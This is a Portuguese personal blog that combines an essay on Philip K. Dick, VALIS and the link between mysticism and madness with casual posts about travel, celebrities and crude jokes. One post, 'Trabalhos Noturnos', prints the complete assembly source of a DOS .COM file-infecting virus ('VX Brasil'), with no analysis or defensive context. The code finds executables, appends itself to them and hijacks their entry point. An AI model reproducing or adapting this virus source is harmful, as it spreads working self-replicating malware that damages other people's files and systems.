Revelação e paranóia. - O que pensar de toda essa história? A resposta mais óbvia é a de que Philip K. Dick se tornou psicótico, e não foram poucos os que foram por aí, especialmente num meio tão propício ao racionalismo quanto a ficção científica. Feliz ou infelizmente, as respostas mais óbvias raramente são as mais verdadeiras, e o Apocalipse de Valis tem alguns elementos que tornam difícil a conclusão de que Dick poderia ter se curado de sua mania religiosa se alguém tivesse lhe receitado um simples Gardenal.

Mencionamos acima que, quando possuído pela personalidade de Tomás, Dick falava em grego koiné, idioma a respeito do qual não tinha o menor conhecimento. A glossolalia é um fenômeno típico tanto das experiências religiosas autênticas (é, de fato, um dos critérios pelos quais a Igreja as reconhece) quanto da esquizofrenia, mas com uma diferença nada sutil: no primeiro caso, o sujeito realmente fala uma língua estrangeira que ele não conhece mas que pode ser identificada, ao passo que no segundo, o paciente pronuncia uma algaravia ininteligível que apenas simula uma outra língua. O koiné de Dick claramente se enquadra na primeira categoria. Além disso, numa das ocasiões em que se manifestou, a voz advertiu Dick de que seu filho Christopher corria risco de vida e devia ser levado imediatamente ao hospital. Tessa não sabia se devia ou não acreditar na voz mas, pelo sim, pelo não, cedeu aos apelos do marido. No hospital, os médicos descobriram que o menino tinha uma hérnia não diagnosticada que estava prestes a estrangular. De outra vez, Dick viu um de seus gatos ser atingido pelo raio de luz cor-de-rosa que sempre acompanhava essas manifestações e, poucos dias depois, o animal morreu de câncer. Nada disso prova coisa alguma, evidentemente, mas pelo menos sugere que o Apocalipse de VALIS não era uma fabricação total da mente de Dick e talvez tivesse algum aspecto objetivo.

Por outro lado, a menos que você pague um tributo mensal aos deuses-astronautas, a idéia de revelações místicas transmitidas por uma inteligência artificial alienígena é um pouco difícil de engolir, especialmente quando vem a reboque com ETs de três olhos. E a mania de perseguição que Dick desenvolveu mais tarde não deixa margem a dúvidas de que em algum momento ele cruzou a linha da insanidade. A grande questão é - em qual momento? Foi a loucura de Dick que produziu o Apocalipse de VALIS ou o Apocalipse de VALIS que causou a loucura de Dick?

Talvez seja um erro achar que as duas alternativas são mutuamente excludentes. A presença de imagens e conceitos religiosos na estrutura dos delírios psicóticos já é conhecida há muito tempo pela psiquiatria e, na verdade, é a justificativa à qual se agarram os racionalistas de plantão para dizer que Santa Teresa de Ávila não passava de uma esquizofrênica. A pobreza de espírito dos racionalistas pode ser uma bem-aventurança para eles, mas não tem lá grande utilidade para quem quer compreender os vínculos entre esses dois tipos de experiência. Uma perspectiva mais rica, porém, é apresentada por James Hillman, psicólogo pós-junguiano e criador da psicologia arquetípica, em seu curto mas precioso ensaio sobre a Paranóia:

"Quando os delírios paranóicos são religiosos no conteúdo e no estilo, então a religião oferece abrigo à paranóia. O Deus na desordem tanto traz quanto leva embora; mas se somos fiéis, como diz Boisen, ao próprio delírio, o Deus não é expelido com a doença. A recuperação significa recuperar o divino das entranhas da desordem, observando que seu conteúdo é autenticamente religioso. Esses delírios podem, a posteriori através de análise, ser psicogênicos; fenomenologicamente, contudo, eles são teogênicos, originários em Deus. Não são apenas mentais, mas também noéticos. Podemos atribuí-los não somente à psicodinâmica invisível (inconsciente) da mente humana, mas também à dinâmica da própria ordem invisível."

A posição que Hillman defende nesse livro é a de que o núcleo dos delírios religiosos é mesmo uma experiência religiosa autêntica (no sentido existencial, mais do que epistemológico). O que transtorna a vida da pessoa e a empurra na direção da loucura é a dificuldade de assimilar o conteúdo da experiência, que se apresenta como algo estranho e, nesse sentido, alienígena. Lembremos que alienígena vem do latim alienus, "o que causa estranheza", e reencontraremos aquela mesma das Unheimlich que, como vimos no post anterior, é o sentimento que está na origem da literatura de Dick. Pois bem, de alienus também veio a palavra alienação que, na virada do século XIX para o XX, era largamente utilizado pelos médicos para designar a loucura - eis porque o conto mais famoso de Machado de Assis se chama "O Alienista". Mas alienação tem também um sentido filosófico, que se refere à separação entre a consciência do homem e a verdadeira essência (seja dele mesmo, seja da realidade) - isto é, a raiz metafísica do gnosticismo que é a base da visão-de-mundo de Dick. ("I have been accused of holding Gnostic ideas", declarou ele certa vez. "I guess I do.") O estranhamento perante o que se apresenta a nós como sendo a realidade é, assim, o nexo comum entre a literatura de Philip K. Dick, a experiência mística que o engolfou e o delírio em que acabou por submergir.

O espírito e a letra. - Mas de onde vem a dificuldade de assimilar a experiência, fazendo com que ela degenere em loucura? Foi a pergunta que Hillman se colocou em seu ensaio. Acabou encontrando a resposta em John Perceval. Filho do ex-Primeiro Ministro Britânico Spencer Perceval, John Perceval foi internado em 1831, vítima de um surto psicótico do qual se curou espontaneamente três anos depois. Em sua autobiografia, citada por Hillman, Perceval atribui seu sucesso em superar a loucura a uma descoberta que lança muita luz sobre os motivos pelos quais Dick não teve a mesma sorte:

"Suspeito que muitos dos delírios que... afetam as pessoas insanas consistem no fato de confundirem um estilo de discurso figurativo ou poético com um literal... o espírito fala poeticamente, mas o homem o entende literalmente. Assim, podemos ouvir que um lunático declara ser feito de ferro, e que nada pode quebrá-lo... O sentido do espírito é que esse homem é forte como o ferro... mas o lunático assume o sentido literal..." E mais adiante: "Assim, a demência é também tomar uma ordem que é espiritual por outra que é literal - uma ordem que é mental por outra que é física (...)."

Em outras palavras, a experiência do louco e a do místico é exatamente a mesma. Mas, enquanto este último tem consciência do caráter simbólico de suas visões, o primeiro as toma ao pé-da-letra. Como a psicanálise foi a primeira a descobrir em tempos recentes, o que Perceval chama de espírito (e que os psicólogos conhecem como o inconsciente, sem que se saiba qual das duas designações é a mais correta) se manifesta através de imagens simbólicas, na maioria dos casos com um caráter arquetípico - por exemplo, os dragões de Dick. A porta para a loucura se abre quando essa natureza metafórica não é reconhecida. Parafraseando "A Day In The Life", que Dick adorava (estava ouvindo Sgt. Peppers quando a garota da farmácia tocou a campainha), você sobe as escadas e mergulha num sonho.

"Um dos traços do pensamento esquizóide", escreve o crítico argentino Pablo Capana, "é precisamente a literalidade, que consiste em visualizar as metáforas em termos 'concretos', da mesma forma que o menino antes da adolescência. Dick costumava brincar com essa tendência para exorcizar algo que talvez temesse reconhecer em si mesmo. A literalidade era para ele um traço negativo do autista e do esquizóide (a quem diferenciava claramente do esquizofrênico), que tinha seu paralelo na insensibilidade afetiva." Capana lembra que em um dos primeiros contos de Dick, "The Eyes Have It", de 1953, o protagonista é incapaz de entender o sentido figurado. Assim, uma banal metáfora que ele encontra em um livro - "lentamente, seus olhos rolaram pela sala" - é o suficiente para desencadear um verdadeiro surto delirante:

A referência era claramente a uma espécie inumana de incríveis propriedades, não nascida na Terra. Uma espécie, me apresso a apontar, costumeiramente disfarçada como seres humanos normais. Seu disfarce, contudo, tornava-se transparente diante das seguintes observações do autor. Ficava claro que o autor sabia de tudo. Sabia de tudo - e encarava isso com calma. A linha (e ainda agora, eu estremeço ao lembrar) dizia:

...lentamente, seus olhos rolaram pela sala.

Difusos arrepios me assaltaram. Tentei visualizar os olhos. Eles rolavam como dados? A passagem indicava que não; eles pareciam se mover através do ar, não sobre a superfície. Ao que tudo indicava, rapidamente. Ninguém na história se mostrava surpreso. Foi o que me fez perceber tudo.

Capana nota que esse é um tema recorrente na obra de Dick, o qual várias vezes se refere ao Teste dos Provérbios de Benjamin, uma ferramenta psiquiátrica usada para identificar a tendência dos esquizofrênicos a encarar as metáforas literalmente. Em We Can Build You e The Transmigration of Timothy Archer, ele diagnostica a esquizofrenia dos personagens; em Do Androids Dream of Electric Sheep?, serve para identificar os andróides. Esses personagens refletem um traço de personalidade que o crítico reconhece no próprio autor: "a imaginação de Dick tende a visualizar as metáforas tanto quanto materializar as abstrações e dogmas. Dick entende a 'transubstanciação' aristotélico-tomista como a impregnação do universo físico por Deus. Todos dizem que 'a publicidade é uma praga': Dick imagina anúncios que perseguem o consumidor como moscas (The Simulacra). A metáfora do Deus ex machina torna-se uma realidade tangível em Our Friends from Frolix-8: a divindade desce à Terra em uma máquina espacial."

Dessa forma, se criaturas de três olhos lhe apareciam numa visão, para Dick só podiam ser alienígenas. Se sonhava com dragões, eram lembranças atávicas de uma época em que os dragões realmente existiam. A voz feminina de timbre metálico que ouvia em sua cabeça não podia ser outra coisa senão uma inteligência artificial. Até mesmo a gnose e a anamnese platônica transformavam-se para ele em informações codificadas no DNA. Sua intuição de que o Império nunca acabou provavelmente indicava o que os gnósticos valentinianos conheciam como sístase, o sistema de padrões cognitivos que distorce nossa percepção da realidade e que é manipulado pela classe dominante para servir a seus próprios interesses; para Dick, porém, significava que continuávamos vivendo nos tempos da Roma antiga.

São Paulo dizia que a letra mata, mas o espírito vivifica. Não importa o quanto Dick mobilizasse seus conhecimentos de mitologia, religião, ciência ou filosofia, ele jamais conseguiria compreender corretamente as experiências pelas quais passou, porque o que estava errado era seu enfoque e isso desde o princípio. O espírito lhe falava poeticamente, mas Dick o entendia literalmente.

E foi esse entendimento que no fim o matou.

Posted by Malprg in A experiência mística, Ficção Científica, Filosofia, Gn

Anfetamimas e a peseguição

Sei quem é, mas não sou capaz de reconhecer uma só música dela. É uma das gostosas do momento. Mas o q me chamou a atenção foi a paranóia Kdickana, de estar sendo perseguida. Será q todo mundo q toma anfetamina tem esse tipo de paranóia ?

--
Tirado de entrevista do UOL ..


Na música "Vodoo Doll", você fala sobre sua luta contra as drogas. Como foi isso?

A música fala da minha batalha contra o vício em metanfetaminas. Achei importante que as pessoas soubessem como é difícil passar por isso.


Qual foi o pior momento nesse período?

Uma coisa comum nas pessoas viciadas em meta-anfetaminas é fi car paranóico. Teve uma vez que eu pensei que o FBI estava atrás de mim. Eu fui para uma igreja de que eu gostava e, enquanto eu rezava e chorava, pensei: “Deus, se o FBI não estiver atrás de mim, então é a droga que está me fazendo sentir isso e eu preciso de ajuda”. E Ele me disse duas coisas: “Você tem dois caminhos a seguir” e “Por que está desperdiçando todos os talentos que Eu te dei?”. No fim, acho que tomei a decisão certa. Fui muito abençoada. Muito.

Sexta-feira, 28 de Março de 2008

Trabalhos Noturnos



Bem, essa telinha aí eh o resultado do arquivinho q minha amiguinha Fran me mandou, tardiamente, numa noite de insônia. Demorei um pouco p saber q num era ela e depois pareceu ser um outro amigo q não seria nada estranho trocarmos ideias sobre assmebly e coisas do gênero. Minutos depois, meu router começou a cair, e os logs de tentativa de spoofing se multiplicaram.
Agora a casa do ferreiro vai parar de ter espeto de pau, e isso foi mais um sinal :D

Olha as coisas q uma fisioterapeuta é capaz de faze nos dias de insônia :

; VX Brasil.com – Vrs 1.0
;***********************DIRETIVAS************************
VirusSize equ (fim-inicio)
.286
code segment
assume cs:code,ds:code,es:code,ss:code
org 100h
;***********************CODIGO****************************
inicio:
call vIrus
virus:
nop
pop bp
sub bp,offset virus
mov ax,word ptr [Original+bp]
mov cs:[100h],ax
mov ax,word ptr [Original+bp+2]
mov cs:[102h],ax
mov ah,1ah ; ajusta DTA
lea dx,[bp+DTA]
int 21h
mov ah,4eh
mov cx,20h
lea dx,[bp+arqs]
AchaArqs:
int 21h
jc termina1
mov ax,4300h
int 21h
mov [bp+atribs],cx
xor cx,cx
mov ax,4301h
int 21h
mov ax,3d02h
lea dx,[bp+DTA+30]
int 21h
mov bx,ax
mov ax,5700h
int 21h
mov [bp+horaarq],cx
mov [bp+dataarq],dx
mov ah,3fh
mov cx,4
lea dx,[bp+Original]
int 21h
jmp continua
termina1:
jmp termina
continua:
cmp [Original+bp+3],90h
je NaoInfectar
cmp word ptr [Original+bp],’ZM’
je NaoInfectar
cmp word ptr [Original+bp],’MZ’
je NaoInfectar
mov ax,4202h
call MovePonteiro
cmp ax,65278-VirusSize
ja NaoInfectar
sub ax,3 ; calcula distancia do salto
mov [bp+Distancia],ax
mov ah,40h
mov cx,VirusSize
lea dx,[bp+inicio]
int 21h
mov ax,4200h
call MovePonteiro
mov ah,40h
mov cx,4
lea dx,[bp+jump]
int 21h
NaoInfectar:
mov ax,5701h
mov cx,[bp+horaarq]
mov dx,[bp+dataarq]
int 21h
mov ah,3eh
int 21h
mov ax,4301h
mov cx,[bp+atribs]
int 21h
mov ah,4fh
jmp AchaArqs
termina:
mov ah,2Ah
int 21h
cmp dh,1
cmp dl,9
jne NaoManifestar
call Manifesto
NaoManifestar:
cmp word ptr [arqs],2e2ah
je fim
mov ax,100h
jmp ax
;***********************PROCEDIMENTOS*********************
MovePonteiro:
xor cx,cx
xor dx,dx
int 21h
ret
Manifesto:
mov ah,9
lea dx,VirusString+bp
int 21h
ret
;************************DADOS E VARIAVEIS****************
VirusString db ‘Virus - Brasil 2003’,0ah,0dh,07h,’$’
original db 0E8h,00,00,90h
jump db 0e9h
distancia dw ?
marca db 90h
atribs dw ?
arqs db ‘*.com’,0
horaarq dw ?
dataarq dw ?
DTA db 43 dup (0)
fim:
mov ax,4C00h
int 21h
ends code
end inicio

Imagem é tudo, realidade é nada

Nossa, acabei de lembrar.
No dia da minha viagem, no aeroporto de guarulhos, tinha uma tiazinha causando pq o detector de metais apitou e ela tava puta, reclamando q num ia passar dinovo, e blablab.

Mó peruona e talz, c uma voz familiar, magra, mto magra e um colar escrito Marina.

Fiquei pensando, pensando e meu, era a Marina Person!!!

pqp!!!!

Véia, magrela, feia e chatoooooooooooooona demais!!!!!

Umas das grandes decepções da minha vida, já q na minha adolescência já tive alguns sonhos eróticos c a gatinha do cine MTV!!!

uahuahua

Sexta-feira, 21 de Março de 2008

Agradar quem Odeio ?

Tava aqui vendo um clipe da Pitty, q comecei a pensar comigo, "afe, q bosta"

A primeira vez q vi a Pitty, foi em uma edição do Abril Pro Rock, sei lá q ano, mas sei q já fazem alguns. Porra, a mina falando q curtia p caralho metal, Black Sabbath, e eu UOW :D

Mas depois vi o show, num curti mto não mas sei lá, simpatizei c a figra dela e talz. Ela é inteligente, pensa como eu a respeito de algumas coisas e talz, enfim, alguém q eu tomaria uma cervja tranquilamente.

Benm viktabdi ai assunto, vi mais do clipe e vi q a mulecada pira nisso, e porra, a maioria eh mulecada idiota, q num sabe porra nenhuma do q se passa ao seu redor. Cara, deve ser foda ter um trampo q eh agradar um tipo de gente q vc. abomina não ?

Estou falando por mim, pois odeio gente burra, gente fútil e esse tipo de coisa. Então, me imagina c om uma banda e de repente meu som estoura. Caralho, o próximo play, com certeza começaria a escrever músicas insultando toda essa galera idiota uhahuauha

Imagina eu fazendo um som chamdo "Eu odeio os defaults" e aí botar na letra descrições para q as pessoas se identificassem o máximo possível ?

uhauhauha

Tipo, insultar quem me paga para eu agradar uhauhauhahu

Agradar, pq eu acho q isso q é a música. Geralmente, o primeiro disco de uma banda eh o que eu mais gosto. Eu penso q isso acontece, independente do fato de achar q arte é só o primeiro disco. O segundo já é projeto, focado, direcionado a um certo público, público esse q foi atingido pelo primeiro album.

Geralmente o primeiro disco ainda não tem o dedo da gravadora, do produtor. As pessoas compram vc. do jeito q vc. é. Os próximos já é vc. que direciona e o publico analisa.


Pitty é uma bosta e acho que ela chega em casa e bota uns bons discos do Sabbath p rolar e fica pensando q são as pessoas q fazem com que nosso país seja a bosta que é que fazem o seu sucesso, pagam sua grana.

Sei lá como eu reageria numa situação assim.

Terça-feira, 18 de Março de 2008

ASD

bem, tava aqui vendo meus logs no last.fm e achei uma banda interessante...

Nome da Banda: A SCANNE DARKLY
Musica: VALIS

uhauhauhauauhauh

Nova Fragância

Bem, aproveitei a viagem, e como bom turista aproveitei p fazer umas comprinhas. Comprei alguns presentes e uma variação do perfume q eu uso, q se diz um pouco mais marcante q a outra versão ...

Pois bem, como no freeshop o preço da versão maior e em maior quantidade é METADE do preço q encontramos nas lojas aqui, resolvi comprar às cegas e hj experimentei tanto o perfume qto o kit de barba e ...

O PERFUME TEM CHEIRO DE BUCETA!!!!!

uhahuauhauhauhahu


fui atrás da descrição e diz a lenda que eh o q há em matéria de sensualidade uhauhauha

vou fazer um teste amanhã .. primeiro vou numa clínica ginecológica e depois vou pegar o metrô as 18:00 em ponto no Brás, e vamos ver o q acontece

uhauhahuahuah

mto, mto engraçado

Pai solteiro !?






Isso aí acima foi um email mto engraçado hj, com dicas para pais de primeira viagem e comecei a pensar. Como seria eu cuidando de um Bebê ?

Eu vi a criança jogando xadrez e me identifiquei na hora!!!

uhauhauha

Eu rio só de imaginar.
Primeiro fico imaginando lendo pilhas e pilhas de livros, artigos científios, pesquisa, tudo a respeito de bebês.
Depois começo a aplicar as coisas e tentar começar desde cedo a botar o bebê p ouvir música em norueguês, brincar no console do linux, mostrar linhas de comandos e ensiná-lo a gostar de robôs, scifi, etc
uhahuahua

Imagina uma criança aos 5 anos dizendo 'papai, quelo gentoo, quelo gentoo'
uhauhauha

O nome ? Devílson claro
uhauhauha

A mãe ? Sei lá .. num parei p pensar nisso uhauauha

Tlvz tenho pensado mto em criança ultimamente pq meus amigos estão começando aos poucos a se transformarem em pais de família, a ficha tá caindo aos poucos q vou ser titio, agora, no 4o. mês e gestação do meu sobrinho e meu amigo aqui do trabalho q acabou de ir embora pq a filhinha de 1 ano precisava dele...

Já até imaginando daqui há uns anos, minha irmã falando p muleque "Não quero mais ver vc. na casa do seu TIO!!! Lá vc. fica jogando videogame, fica no computador, aprende o q num presta, fica tomando cerveja. Não quero ver vc. mais com seu TIO!!!!"
hauhauha


engraçado como os assuntos tomam conta de tudo e aparecem ao mesmo tempo não ?

Vou continuar rindo sozinho aqui tentando imaginar como seria cômico eu de pai solteiro uhauhauauh

Sexta-feira, 14 de Março de 2008

PKD e Valis Everywhere

Bem, acabo de ver Lost S04e05 e pra variar a doidera que tem me perseguido desde que li valis :D

HAJA IMERSÃO!!

Bem, qq um q conhece a história percebeu a clara referência, mas o engraçado é que isto acontece logo agora .. pq não vi isso antes das férias ? Pq justo agora, depois de todas essas doideras acontecendo ?

Estou vendo Valis em todo lugar .. mas veja se não tenho razão:


Desdmond fica preso entre 2 barreiras temporais e trafega nelas sem poder controlar.

Uma é sua pessoa em 1996 e outra em 2004.

A consciência se alterna entre os corpos, em 2 épocas diferentes.

Dick, quero dizer, Horselover Fat, acreditava estar alternando entre o ano 70 e 1974, exatamente nos mesmos moldes das viagens de Desdmond.

Lembrem-se do capítulo anterior, onde Locke pega Valis da biblioteca de Ben.


2 episódios e referências maiores que essas, desconheço.

Valis me persegue

PKD Lives!


Haverão mais referências ????

Em Lost ou em minha vida ????

para quem não leu Valis, há um quadrinho com uma breve explicação da experiência que Dick afirmou ter vivido em 1974 ..

http://www.philipkdickfans.com/weirdo/weirdo1.htm


e tb. uma citação no Waking Live, Linklater explica ao sonhador a piração do mestra PKD, que tem mta semelhança c o q acontece c o brotha Desmond :





Estou pirando na batatinha e estou adorando isso :D

Patagônia, Andes, Valis, coincidências bizarras ...

Preciso sair de férias mais vezes ...

Quinta-feira, 13 de Março de 2008

O mistério de Valis

Eu creio que coincidências são apenas um overlook em coisas que acontecem o tempo todo, mas que apenas damos uma atenção maior em determinado momento porque tendemos a ver referências de algo em que estamos imersos em todos os lugares. Quem nunca ficou achando várias pessoas parecidas com a ex namorada após o término de um namoro ou passou pela maldição de sempre haver algo que, por mais comum que seja, o faça lembrar da outra pessoa ? E já perceberam que com o tempo essas mesmas coisas passam a ser coisas comuns novamente ?

Pois é, é nisso que eu creio.

Estou passando por uma fase de profunda imersão.

Fiz uma viagem que talvez possa ter mudado minha vida para sempre. Mas não pela viagem em si, mas pelas circunstâncias. Pretendo contar detalhes da viagem em outros posts e espero q finalmente, depois de anos, escrever passe a ser um hábito para mim.

Vocês devem estar se perguntando, por que esse título para o post ?

Bem, meus amigos um pouco mais nerds vão saber exatamente do que se trata. Para quem não é um aficcionado de ficção científica como nós, vou tentar uma breve explicação:

Valis é um livro do meu autor favorito, Philip K Dick, que pra quem não sabe é o autor de histórias nas quais foram baseados filmes como Blade Runner, Vingador do Futuro, Next, O Pagamento, Scanner Darkly e tantas outras referências ( acho q lost pega forte no universo de PKD, mas isso eh uma outra discussão :D )
Por que ele é meu autor favorito ?
Simples, tudo que ele escreve, todas as dúvidas, questionamentos, paranóias e pontos de vista que se perdem de maneira quase subliminar entre suas fantásticas escritas parecem ser totalmente direcionadas a mim. Não de um ponto de vista paranóico e arrogante e até meio maluco de que foram escritas diretamente para mim. Nada disso. Rola uma identificação. Me identifico mto com tudo, mto mesmo.

E nas ultimas semanas, muito mais, a ponto de rolar uma imersão tão forte que coincidências acontecem. Tudo isso depois que eu li Valis.
Valis conta a história de HorseLover Fat, um cara que depois de perder uma amiga próxima e ser deixado pela mulher começa a ter uns 'estalos' que acha ser mensagens divinas. Até aí, vcs podem estar pensando, q porra de história doida é essa, ez ?

Como eu disse, suas histórias servem como pano de fundo. Além de ser uma boa história de ficção científica, sobre satélites, lasers e etc, Horselover Fat e nada mais nada menos q o alter ego de PKD e o que no livro parecem ser idéias de alguém perturbado ou completamente pinel, na verdade retrata não a ficção, mas uma maneira do autor expor SUAS VERDADEIRAS IDÉIAS E MANEIRAS DE PENSAR!!!

Esse livro foi um dos últimos escritos por ele, antes de morrer, em 1982, e sempre tive um certo receio de ler por 1. Poder achar viagem demais e achá-lo chato ou 2. Pirar na batatinha

Bem, decidí levá-lo durante minha viagem pelos Andes e não achei nem chato, nem pirei na batatinha. Mas não sei porque fiquei imerso em sua história e pensando mto, mto em várias dúvidas e questões que sempre carrego comigo, como the meaning of life e coisas assim.

Acho q li o livro todo em poucos dias e quando terminou, percebi que estava com uma fome voraz de ler mais e mais livros. Eu levei comigo mais 3 livros na minha bagagem, mas como a Aerolineas Argentinas fez o favor de sumir com minha mochila, Valis foi o único que sobrou. Fiquei pensando comigo, e agora, o que vou ler ? Eu estava em Ushuaia, literalmente no fim do mundo.

Pensei em sair e procurar uma livraria. Me preparei para isso. Desci na recepção do hostel, olhei para uma mesa onde as pessoas costumam ficar conversando e vi um livro, escrito em letras garrafais PHILIP K DICK!



















Puta merda! Que língua é essa ?
Saí caçando com a gringaiada do albuergue para descobrir o dono e bater um papo sobre essas histórias q eu curto tanto. Procurei, procurei e nada. 2 dias depois o livro ainda estava lá, no mesmo lugar que eu deixei. Peguei o livro e saí perguntando, agora para descobrir o idioma. Um francês que já esteve em Praga me disse que o livro é tcheco! Puta merda, tcheco!!! PKD em tcheco!!! Como uma coisa dessas vem cair no meu colo, do nada ? Não tive dúvidas, com mto peso na consciência, e sem achar o dono em 1 semana de procura, me apossei do livro.

Mas por não conseguir ler, comecei a ler Valis novamente. O término coincidiu com minha chegada a Bariloche, mais ou menos na metade da viagem atravessando a Patagônia e os Andes. Logo quando cheguei, já encontrei uma grande livraria. Fui as compras, mas nada de livros do PKD mas encontrei bons livros de Scifi. Comprei Fundação, Brave New Word e El Invencible, todos clássicos de Asimov, Huxley e Lem, respectivamente. Entrei em uma última loja, apenas para dar uma olhada, e já contente com os livros que havia adiquirido. Ao perguntar onde ficavam os livros de Ciencia Ficción, a mulher me respondeu que ali só haviam livros didáticos, infanto juvenis e material escolar. Estava saindo quando uma capa verde com amarelo me chamou atenção. Ao me aproximar vi que se tratava de um livro de scifi, contendo vários contos e short histories. Abri o livro. Advinha quem é o autor do primeiro conto do livro ? uhahuahua A foto não ficou mto nítida, mas dêem uma olhada no primeiro nome abaixo do título :D



Bem, lá fui eu para uma nova história e uma nova imersão com as entre linhas. Não ficava tanto tempo alheio ao mundo desde que li Formiga Elétrica, num parava de conseguir pensar e durante as longas horas de ônibus pelo deserto da patagônia, ficava olhando para o horizonte infinito, pensando, pensando, pensando.

A necessidade de leitura passou um pouco e também não havia mto tempo, pois as atrações da viagem como trekking, cerveja e diversão, ficavam em primeiro plano e ocupavam todo o tempo. Passei alguns dias tranquilão, sem que a necessidade desse suas caras até que um dia ela voltou. Estava em uma van, a caminho do Aconcágua. Tirei um cochilo, tava sonhando com um livro do PKD ao qual não me recordo, mas eu estava lendo vorazmente no meu sonho então eu acordei. Ao olhar ao lado, havia um senhor, bagando, dormindo que me assustou no começo com sua fisionomia mto parecida com o mestre. Mas depois de alguns minutos e de conversar com ele, descobri que tratava-se apenas de um carpinteiro francês, que mora na Suiça e estava de férias, pois não há trabalho para ele no inverno ( esses detalhes da viagem, troca de cultura, pessoas q conheci, prometo que vou falando aos poucos :D ). Mas realmente, qdo acordei, tomei um susto.
Olhando com calma acho q nem parece tanto, mas o jeito de falar, a voz anasalada lembra mto.














E durante essa trip ainda aconteceu uma coisa no minimo diferente. Paramos na beira da estrada, no meio de um deserto para fazer umas fotos. O movimento era baixo e enquanto fazia as fotos, estava conversando e explicando essa história doida, do pq eu tirei tantas fotos do tiozinho q tava do meu lado. Nessa conversa, começamos a falar de deja vu e eu falei do último q eu me lembro, q foi quando passei pela esquina da paulista com a Augusta. Pois bem .. acabei de falar Augusta, passou um caminhão gigantesco, com uma lona branca retangular, em forma de container escrito em letras garrafais AUGUSTA. Acho que rolou uns 5 minutos de silêncio uhahauha Qual a probabilidade de passar um caminhão escrito Augusta, nas proximidades do Aconcágua, justo na hora em que eu pronuncio a palavra ? Olha só o nipe da estrada



Claro que depois de pesquisar eu descobri que a ruta 7 é rota de caminhões que fazem transporte da região para o Chile e são comuns também os caminões brasileiros. Mas, em todo caso, não deixa ter sido uma experiência bizarra não ? hehe



Bem, seguindo viagem, uma das ultimas viagens longas de buzão, 1 noite entre Mendoza e Córdoba. Traquilão, tava c um pouco de sono e cansadão. Tomei umas cervejas para relaxar e dormir a viagem toda. Preparativos para dormir, tudo checado, bastando apenas fechar os olhos e dormir. O comissário de bordo reaparece, dizendo que vai colocar um filme. Nem dei muita atenção, pois estava cansado, com sono. Fechei meus olhos e tentei não prestar atenção, mas após alguns segundos comecei a ouvir uma música famíliar. Levantei minha cabeça e li na pequena tv : "Based on a Philp K Dick short history". OMFG!!!!!
Segundos depois, aparece o Ben Affleck entrando num saguão!!! PQP, Paycheck!!!!
Ok, toda essa parada de imersão eh foda e tudo mais. O escritor é até certo ponto famoso, pelo para quem gosta do gênero e para as pessoas bem informadas, mas aí já é demais. Eu comecei a rir e ng entendia. Como explicar isso ? uhauahua

Num acho o filme lá grande coisa, mas não é ruim, até pq todos os filmes são meras adaptações, com mtas mudanças na história. Acho q fiel mesmo só Scanner Darkly, mas ... PKD again!

Bem, vi o filme, dormi fiquei pensando, mas foquei novamente na viagem. Curti a última semana q restou e voltei p casa, meio lesado fisicamente esgotado, mas mentalmente renovado e louco p ver os capítulos de Lost que eu deixei de ver nesses 30 dias que passei viajando. Episódios adiquiridos, comecei a assistir. Vi o capítulo 2, o 3 e então comecei a ver o 4 o. John Locke começa a fazer um café da manhã. Ele frita uns ovos, corta uma fruta e pega um livro. Um livro q aparece por mto pouco tempo. Somente o tempo dele puxar da prateleira. Vi o nome do livro num flash. Parei o vídeo, passei em câmera lenta, fiz um screenshot. Querem ver o screenshot ?















Imersão ou coincidência ?

Bem, eu ainda acho q é imersão, mas que isso é interessante, pelo menos eu achei muito.
Tipo assunto de entrelinhas que eu gosto tanto.
E outra, isso serviu para que eu começasse a escrever, coisa q mtos amigos me cobram tanto e dizem q eu deveria fazer ASAP!!!

Bem, aí está o pq da minha frase PKD LIVES!!!

:D

Segunda-feira, 7 de Maio de 2007

A importância do cigarro.

Texto escrito durante uma ida ao banheiro :D

Sem revisão, sem nada .. do jeito q veio ao mundo :D
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A importância do cigarro.

Sim, cigarro eh uma merda, faz mal a saúde e isso não é uma apologia ao fumo, mas sim a outro cigarro.
O cigarro imaginário.

Estou ficando doido ? Não, não ... Trata-se de mais uma de minhas teorias sobre a vida ...

A teoria q sigo para saber o momento certo de discutir uma relação, de saber se realmente gostamos de alguém, e às vezes termos certeza se algo vai ou não dar certo.


Não adianta dizer o contrário. Toda mulher tem suas encanações, seus medos seus receios. Por mais maduras q elas pareçam ser, são raros os momentos em q estarão "vazias" e livres da influência para pensar e tecer opnião a respeito de algo, principalmente se esse algo for uma daquelas necessárias discussões de relacionamento.

As mulheres costumam se libertar após o sexo ( sexo de boa qualidade, claro :D ), quem nunca ficou c aquela mulher meiguinha e dócil q vira o diabo na cama ?

Pois bem, acredito q por esse poder de libertação, a melhor hora p uma discussão é a hora do cigarro, o cigarro imaginário q fumamos ( as vezes não tão imaginário assim ), olhando p o teto, apenas curtindo aquele momento.

É nessa hora q vemos realmente o q sentimos por alguém, se desejamos ficar um pouco e curtir a companhia, se nos sentimos incomodados c vontade de ficar sozinho ( sim, isso acontece, principalmente para pessoas q moram sozinhas, como eu ( eu acho :D ) ) e pensando numa desculpa para conseguir

Eu penso, q o q sentimos nessa hora e como agimos diz tudo. Nossas reações imediatas nessa hora são inconscientes. `As vezes curtimos o silêncio, Outras vezes surge uma vontade de falar sobre algo q vc. nunca imaginaria como o pólen de uma flor no alasca
Raras são as vezes em ( pelo menos no meu caso ) em q há um prazer enorme em contemplar a pele, as curvas, as imperfeições e tudo q é aleatório em alguém e q nos faz únicos. Quem nunca ficou c um sorriso estranho no rosto contemplanto a pessoa ao lado até q ela solte um " Q foi ?" ?

P mim, isso já é uma própria dicussão de relação. Para todos os casos, num há mto o q discutir. A discussão é apenas uma maneira de convencer a outra pessoa a conseguir o q vc quer :

Se acontece um "O sexo foi bom, mas tudo q eu queria agora era estar sozinho e jogar de cueca no meu computador" ou um "Chamo um táxi e digo q preciso ir trabalhar, mesmo hj sendo um sábado ou domingo ?"
bem, acho q realmente discutir a relação num foge muito de "Nâo estou preparado", "precisamos nos conhecer melhor", "ainda não estou livre do meu outro relacionamento", "vamos marcar uma balda qq dia"; toda e qq discussão de relação vai girar em torno disso, e por mais q tenha-se uma conclusão contrária, nosso inconsciente e nosso corpo nunca vai adotá-la como vigente. Acho q é por isso q há casos de relaciomentos q se esticam por anos até q nos damos conta q num dá certo, ou acontecem brigas constantes ou q esses relacioamentos terminam mtas vezes de maneira trumática para ambos os lados.